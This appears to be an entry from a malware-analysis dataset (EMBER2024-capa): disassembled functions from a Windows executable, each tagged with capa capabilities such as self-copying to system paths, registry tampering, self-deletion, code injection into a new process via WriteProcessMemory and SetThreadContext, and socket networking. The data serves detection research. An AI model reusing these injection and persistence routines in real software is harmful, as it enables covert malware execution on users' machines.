joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405937
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, 0x200
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push 8
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push eax
call ebx
push esi
push 8
mov dword [ebp - 4], eax
call edi
push eax
call ebx
mov ebx, eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
push 0x401f38
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_wsprintfA]
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
add esp, 0x14
test ebx, ebx
je 0x405996
push ebx
push 0
call edi
push eax
call esi
push dword [ebp - 4]
call fcn.00406bf2
cmp dword [ebp - 4], 0
pop ecx
mov ebx, eax
je 0x4059b1
push dword [ebp - 4]
push 0
call edi
push eax
call esi
pop edi
mov eax, ebx
pop esi
pop ebx
leave
ret

Function at 0x4059d1
Capabilities:
Check if file exists
Get file attributes
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
push esi
push edi
push 0x7f
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x213]
mov byte [ebp - 0x214], bl
push 0xa000
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 8
mov dword [ebp - 0x14], ebx
stosb byte es:[edi], al
mov dword [ebp - 0xc], 0x200
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, dword [ebp + 8]
push 0x401f9c
push 0x401f90
mov dword [ebp - 0x10], eax
mov byte [esi], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
cmp eax, ebx
je 0x405a61
push ebx
lea ecx, [ebp - 0x214]
push 0x26
push ecx
push ebx
call eax
lea eax, [ebp - 0x214]
push eax
push 0x401f6c
push esi
call edi
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x405aa8
lea eax, [ebp - 4]
push eax
push 1
push ebx
push 0x401f54
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
mov dword [ebp - 8], eax
jne 0x405aa8
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x14]
push eax
push ebx
push ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 8], eax
lea eax, [ebp - 0x214]
push eax
call fcn.00406b48
push eax
call fcn.004059b8
push 0x4017b0
push eax
mov dword [ebp + 8], eax
call fcn.00406d03
add esp, 0x10
cmp eax, ebx
je 0x405adc
push dword [ebp + 8]
mov byte [eax + 4], bl
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp dword [ebp - 4], ebx
je 0x405aea
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
setne al
movzx eax, al
push eax
push esi
call fcn.00405dee
pop ecx
push eax
push dword [ebp - 8]
push dword [ebp - 0xc]
push 0x401f44
push dword [ebp - 0x10]
call edi
mov eax, dword [ebp - 0x10]
add esp, 0x1c
pop edi
pop esi
pop ebx
leave
ret
Function at 0x405b1f
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
lea eax, [ebp + 0xc]
push eax
xor eax, eax
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret

Function at 0x405b77
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x300
push ebx
push edi
push 0x3f
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0xff]
mov byte [ebp - 0x100], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x3f
xor eax, eax
pop ecx
lea edi, [ebp - 0x2ff]
mov byte [ebp - 0x300], bl
push 0x3f
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x1ff]
mov byte [ebp - 0x200], bl
rep stosd dword es:[edi], eax
cmp byte [ebp + 0x10], bl
push 0x100
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x100]
push eax
je 0x405bdf
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
jmp 0x405be5
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push dword [ebp + 8]
call fcn.004056e9
pop ecx
push eax
lea eax, [ebp - 0x200]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp dword [ebp + 0xc], ebx
je 0x405c23
lea eax, [ebp - 0x200]
push 0x2e
push eax
call fcn.00406df4
pop ecx
cmp eax, ebx
pop ecx
je 0x405c23
push 4
push dword [ebp + 0xc]
push eax
call fcn.00406e20
add esp, 0xc
lea eax, [ebp - 0x200]
push eax
lea eax, [ebp - 0x100]
push eax
lea eax, [ebp - 0x300]
push 0x401558
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x300]
push eax
call fcn.00406bf2
add esp, 0x14
pop edi
pop ebx
leave
ret

Function at 0x405c56
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
push ebx
push esi
push edi
push 0x3f
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0xff]
mov byte [ebp - 0x100], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [ebp + 8]
cmp edi, ebx
jne 0x405ca1
lea eax, [ebp - 0x100]
push 0x100
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edi, [ebp - 0x100]
cmp dword [ebp + 0xc], ebx
jne 0x405cb8
push ebx
push 0x4017b0
push edi
call fcn.00405b77
add esp, 0xc
mov dword [ebp + 0xc], eax
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileA]
push ebx
push dword [ebp + 0xc]
push edi
call esi
test eax, eax
jne 0x405cdb
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
push dword [ebp + 0xc]
push edi
jmp 0x405cc3
cmp byte [ebp + 0x10], bl
pop edi
pop esi
pop ebx
je 0x405cf3
push dword [ebp + 0xc]
push dword [0x4017c0]
call fcn.0040577f
pop ecx
pop ecx
leave
ret
Function at 0x405cf5
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30c
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x30b]
mov byte [ebp - 0x30c], bl
push 0x40
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x103]
mov byte [ebp - 0x104], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x207]
mov byte [ebp - 0x208], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
add esi, eax
push esi
call fcn.00406abf
push 0x7a
push 0x61
call fcn.00406ae7
add esp, 0xc
push eax
push 0x7a
push 0x61
call fcn.00406ae7
pop ecx
pop ecx
push eax
push 0x7a
push 0x61
call fcn.00406ae7
pop ecx
pop ecx
push eax
lea eax, [ebp - 0x208]
push 0x401fb4
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea eax, [ebp - 0x30c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x208]
push ebx
push eax
lea eax, [ebp - 0x30c]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x104]
push eax
push ebx
call fcn.00406b85
push dword [ebp + 8]
push eax
call fcn.00406b85
add esp, 0x10
pop edi
pop esi
pop ebx
leave
ret

Function at 0x405dee
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
push ebx
push esi
push edi
push 0x3f
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0xff]
mov byte [ebp - 0x100], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [ebp + 8]
cmp eax, ebx
jne 0x405e39
lea eax, [ebp - 0x100]
push 0x100
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x100]
push ebx
push ebx
push 3
push ebx
push 3
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x405e53
xor eax, eax
jmp 0x405e66
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x405f2d
Capabilities:
Create process on windows
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
push edi
push 0x401fbc
push 0x401b0c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
xor esi, esi
xor eax, eax
lea edi, [ebp - 0xc]
mov dword [ebp - 0x10], esi
push 0x10
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
pop ecx
xor eax, eax
lea edi, [ebp - 0x50]
mov dword [ebp - 0x54], 0x44
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x28], 0x81
push eax
lea eax, [ebp - 0x54]
push eax
push esi
push esi
push 0x24
push esi
push esi
push esi
mov word [ebp - 0x24], 1
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
cmp dword [ebp - 8], esi
jne 0x405f9c
xor eax, eax
jmp 0x405fc3
cmp ebx, esi
je 0x405fa7
push 1
push dword [ebp - 8]
call ebx
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebp - 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x10]
call esi
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x405fc8
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
and byte [ebp - 0x100], 0
push edi
push 0x3f
xor eax, eax
pop ecx
lea edi, [ebp - 0xff]
rep stosd dword es:[edi], eax
push dword [ebp + 8]
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x100]
push 0x401fd4
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x100]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x1f
pop ecx
pop edi
cmp ecx, eax
sbb eax, eax
neg eax
leave
ret
Function at 0x40604d
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x314
push ebx
push edi
push 0x3f
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x213]
mov byte [ebp - 0x214], bl
push dword [0x4017d4]
mov dword [ebp - 4], ebx
rep stosd dword es:[edi], eax
push dword [0x4017d0]
mov dword [ebp - 0x14], ebx
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x214]
push 0x401558
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 4]
push eax
push 0x20019
lea eax, [ebp - 0x214]
push ebx
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
jne 0x40617d
push esi
push 0x3f
pop ecx
xor eax, eax
lea edi, [ebp - 0x313]
mov byte [ebp - 0x314], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x3f
xor eax, eax
pop ecx
lea edi, [ebp - 0x113]
mov byte [ebp - 0x114], bl
mov esi, 0x100
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], esi
stosb byte es:[edi], al
mov dword [ebp - 8], ebx
push esi
lea eax, [ebp - 0x314]
push ebx
push eax
call fcn.00406e48
push esi
lea eax, [ebp - 0x114]
push ebx
push eax
call fcn.00406e48
add esp, 0x18
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x114]
push eax
push ebx
lea eax, [ebp - 0x10]
push ebx
push eax
lea eax, [ebp - 0x314]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
mov edi, eax
cmp edi, ebx
jne 0x406166
cmp dword [ebp - 0x10], ebx
je 0x406166
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x114]
push eax
call fcn.00403446
pop ecx
cmp eax, ebx
pop ecx
je 0x406166
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.00402184
pop ecx
pop ecx
inc dword [ebp - 8]
cmp edi, ebx
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], esi
je 0x4060f6
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
mov eax, dword [ebp - 0x14]
pop edi
pop ebx
leave
ret

Function at 0x406378
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
lea eax, [ebp + 0xc]
push esi
push eax
push esi
push 0xf003f
push esi
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x4063cd
push edi
lea eax, [ebp + 8]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push eax
push esi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp + 0xc]
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp edi, esi
pop edi
jne 0x4063cd
cmp dword [ebp + 0x18], esi
je 0x4063cd
mov al, 1
jmp 0x4063cf
xor al, al
pop esi
pop ebp
ret
Function at 0x4063d2
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
lea eax, [ebp + 0xc]
push esi
push eax
push esi
push 0xf003f
push esi
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x406433
push edi
xor edi, edi
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push esi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x406421
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 0xa
jl 0x4063f9
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp edi, 0xa
pop edi
setne al
jmp 0x406435
xor al, al
pop esi
pop ebp
ret

Function at 0x406438
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
lea eax, [ebp + 0xc]
push edi
push eax
xor edi, edi
push 0xf003f
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x40645c
xor al, al
jmp 0x406489
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call esi
test eax, eax
je 0x40647d
cmp edi, 0xa
jge 0x40647d
push dword [ebp + 0x10]
inc edi
push dword [ebp + 0xc]
jmp 0x406469
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
pop esi
pop edi
pop ebp
ret
Function at 0x406714
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
push edi
xor edi, edi
cmp dword [0x407998], edi
je 0x40672f
xor eax, eax
jmp 0x4068d6
push esi
push 1
pop esi
lea eax, [ebp - 0x94]
push eax
mov dword [0x407998], esi
mov dword [ebp - 0x94], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x4068cd
movzx eax, word [ebp - 0x88]
mov ecx, dword [ebp - 0x90]
mov edx, dword [ebp - 0x8c]
mov dword [0x407958], eax
xor eax, eax
cmp dword [ebp - 0x84], esi
mov dword [0x407994], ecx
mov dword [0x40794c], edx
sete al
cmp eax, edi
mov dword [0x407978], eax
je 0x4067a0
cmp ecx, 4
jne 0x4067a0
cmp edx, 0xa
mov dword [0x407968], esi
jl 0x4067a6
mov dword [0x407968], edi
cmp eax, edi
je 0x4067ba
cmp ecx, 4
jne 0x4067ba
cmp edx, 0xa
mov dword [0x407964], esi
je 0x4067c0
mov dword [0x407964], edi
cmp eax, edi
je 0x4067d4
cmp ecx, 4
jne 0x4067d4
cmp edx, 0x5a
mov dword [0x407984], esi
jge 0x4067da
mov dword [0x407984], edi
xor ecx, ecx
cmp dword [ebp - 0x84], 2
sete cl
cmp eax, edi
mov dword [0x407980], ecx
je 0x4068cd
call fcn.00406574
push 0x401b0c
mov dword [0x407950], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
cmp esi, edi
je 0x4068cd
push ebx
push 0x47
push esi
call fcn.00403206
pop ecx
cmp eax, edi
pop ecx
mov dword [0x40796c], eax
je 0x4068c3
push 0x402020
push esi
call fcn.0040317f
mov edi, eax
push edi
push esi
call fcn.00403206
push edi
push esi
mov ebx, eax
call fcn.004032d9
push 5
push 0x402018
push eax
push ebx
call fcn.0040648c
add esp, 0x28
test eax, eax
je 0x4068c3
push 0x402004
push esi
mov dword [0x407948], eax
call fcn.0040317f
mov edi, eax
push edi
push esi
call fcn.00403206
push edi
push esi
mov ebx, eax
call fcn.004032d9
push 5
push 0x401ffc
push eax
push ebx
call fcn.0040648c
add esp, 0x28
test eax, eax
je 0x4068c3
cmp byte [eax + 6], 0xe8
jne 0x4068c3
mov ecx, dword [eax + 7]
add eax, 7
cmp dword [0x407984], 0
lea eax, [ecx + eax + 4]
mov dword [0x407974], eax
je 0x4068c3
push 0x401ff0
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x407988], eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor edi, edi
pop ebx
mov dword [0x407998], edi
xor eax, eax
pop esi
pop edi
leave
ret
Function at 0x4068d9
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x650
push ebx
push edi
push 0x44
xor eax, eax
pop edx
lea edi, [ebp - 0x54]
push 0x10
mov dword [ebp - 0x58], edx
pop ecx
xor ebx, ebx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x58]
push eax
push ebx
push ebx
push edx
push ebx
push ebx
push ebx
push 0x4018b4
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x406a6e
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x17c], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp - 0x174], eax
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x170], eax
mov eax, dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x16c], eax
mov eax, dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov dword [ebp - 0x168], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x164], eax
push ebx
push ebx
lea eax, [ebp - 0x180]
push ebx
push eax
push dword [ebp - 0x10]
mov dword [ebp - 0x178], edi
mov dword [ebp - 0x160], ebx
call esi
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
cmp dword [ebp + 8], ebx
jne 0x4069a6
lea eax, [ebp - 0x15c]
push 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
jmp 0x4069b6
push dword [ebp + 8]
lea eax, [ebp - 0x15c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x200
lea eax, [ebp - 0x380]
push 0x406a74
push eax
call fcn.00406e20
add esp, 0xc
lea eax, [ebp - 0x650]
mov dword [ebp - 0x650], 0x10003
push eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov eax, dword [ebp - 0x58c]
mov ebx, 0x32c
lea esi, [eax - 0x32c]
and esi, 0xffffffe0
mov dword [ebp - 0x384], esi
lea eax, [esi - 4]
mov dword [ebp - 0x58c], eax
lea eax, [esi + 4]
mov dword [ebp - 0x598], eax
lea eax, [ebp - 0x14]
push eax
push 0x40
push ebx
push esi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 0
lea eax, [ebp - 0x384]
push ebx
push eax
push esi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push ebx
push esi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea eax, [ebp - 0x650]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebp - 0xc]
call edi
push dword [ebp - 0x10]
call edi
push 1
pop eax
pop esi
jmp 0x406a70
xor eax, eax
pop edi
pop ebx
leave
ret
Function at 0x406f6f
Capabilities:
Initialize winsock library
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a8
push esi
push edi
and word [ebp - 0x1a8], 0
push 1
pop esi
xor eax, eax
push 0x63
lea edi, [ebp - 0x1a6]
pop ecx
mov dword [ebp - 4], esi
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
call fcn.00406f13
lea eax, [ebp - 0x1a8]
push eax
push 0x102
call dword [sym.imp.WSOCK32.dll_WSAStartup]
test eax, eax
je 0x406fb9
xor eax, eax
jmp 0x40709d
push dword [ebp + 8]
call dword [sym.imp.WSOCK32.dll_inet_addr]
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
jne 0x406ff1
push dword [ebp + 8]
call dword [sym.imp.WSOCK32.dll_gethostbyname]
test eax, eax
je 0x407093
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
push ecx
push dword [eax]
lea eax, [ebp - 8]
push eax
call fcn.00406e20
add esp, 0xc
push ebx
push 0x190
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0x18], eax
lea ebx, [ecx + 1]
cmp ebx, esi
jb 0x40708d
mov dword [ebp + 8], eax
and dword [ebp - 0x14], 0
xor eax, eax
lea edi, [ebp - 0x10]
mov esi, dword [ebp - 4]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor edi, edi
push 0xc
lea eax, [ebp - 0x14]
push 0
push eax
call fcn.00406e48
push 0x20
push 0
push 0x7d0
lea eax, [ebp - 0x14]
push esi
push eax
push dword [ebp - 8]
call fcn.004070a1
add esp, 0x24
cmp dword [ebp - 0x14], 0
je 0x407064
cmp dword [ebp - 0x14], 0x2b02
jne 0x40705c
inc esi
inc edi
cmp edi, 5
jle 0x407026
jmp 0x407079
push dword [ebp + 8]
lea eax, [ebp - 0x14]
push eax
call fcn.0040719a
inc dword [ebp - 4]
add dword [ebp + 8], 4
pop ecx
pop ecx
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x40708a
cmp dword [ebp - 8], eax
je 0x40708a
cmp dword [ebp - 4], ebx
jbe 0x407016
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + 0xc]
pop ebx
mov dword [ecx], eax
call dword [sym.imp.WSOCK32.dll_WSACleanup]
mov eax, dword [ebp - 4]
dec eax
pop edi
pop esi
leave
ret
Function at 0x40731d
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xf8c
push ebx
push esi
push edi
push 0x7f
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x403]
mov byte [ebp - 0x404], bl
push 0x7f
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x203]
mov byte [ebp - 0x204], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x2e1
xor eax, eax
lea edi, [ebp - 0xf8b]
mov byte [ebp - 0xf8c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 4], ebx
call fcn.004051c4
call fcn.0040601c
lea eax, [ebp - 4]
push eax
push dword [0x4017e8]
call fcn.00405274
pop ecx
test al, al
pop ecx
jne 0x4074fd
call fcn.004054bd
mov esi, eax
cmp esi, ebx
je 0x4074fd
call fcn.0040530a
test al, al
jne 0x4074fd
call fcn.0040551f
test eax, eax
jne 0x4073e2
call fcn.0040558a
call fcn.00404a2b
push eax
push 0x4020cc
push 0x4020c8
call fcn.0040551f
push eax
push 0x4020b8
call fcn.00404bd5
add esp, 0x14
mov edi, 0x200
lea eax, [ebp - 0x404]
push edi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push ebx
push 0x4072a7
call fcn.00405b1f
push edi
lea eax, [ebp - 0x204]
push ebx
push eax
call fcn.00406e48
push 0xb88
lea eax, [ebp - 0xf8c]
push ebx
push eax
call fcn.00406e48
add esp, 0x20
lea eax, [ebp - 0x540]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push eax
call esi
lea eax, [ebp - 0x404]
push eax
lea eax, [ebp - 0x840]
push eax
call esi
mov eax, dword [ebp + 8]
push 0x4020b4
mov dword [ebp - 0xa48], eax
lea eax, [ebp - 0x640]
push eax
call esi
lea eax, [ebp - 0x640]
push eax
push dword [ebp + 8]
call fcn.00403beb
sub eax, dword [ebp + 8]
pop ecx
pop ecx
mov dword [ebp - 0xa44], eax
call fcn.00404e51
test al, al
jne 0x407491
call fcn.00406714
push ebx
call fcn.0040634d
pop ecx
lea eax, [ebp - 0x204]
push edi
push eax
call fcn.004059d1
pop ecx
lea eax, [ebp - 0x204]
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x4074fd
lea eax, [ebp - 0x204]
push 0x4020a4
push eax
call fcn.004056e9
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x4074fd
lea eax, [ebp - 0x204]
push eax
lea eax, [ebp - 0xa40]
push eax
call esi
lea eax, [ebp - 0x840]
push eax
call fcn.004055d8
push 1
push ebx
lea eax, [ebp - 0xf8c]
push ebx
push eax
call fcn.00404489
add esp, 0x14
cmp dword [ebp - 4], ebx
je 0x40750b
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call fcn.004068d9
pop ecx
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]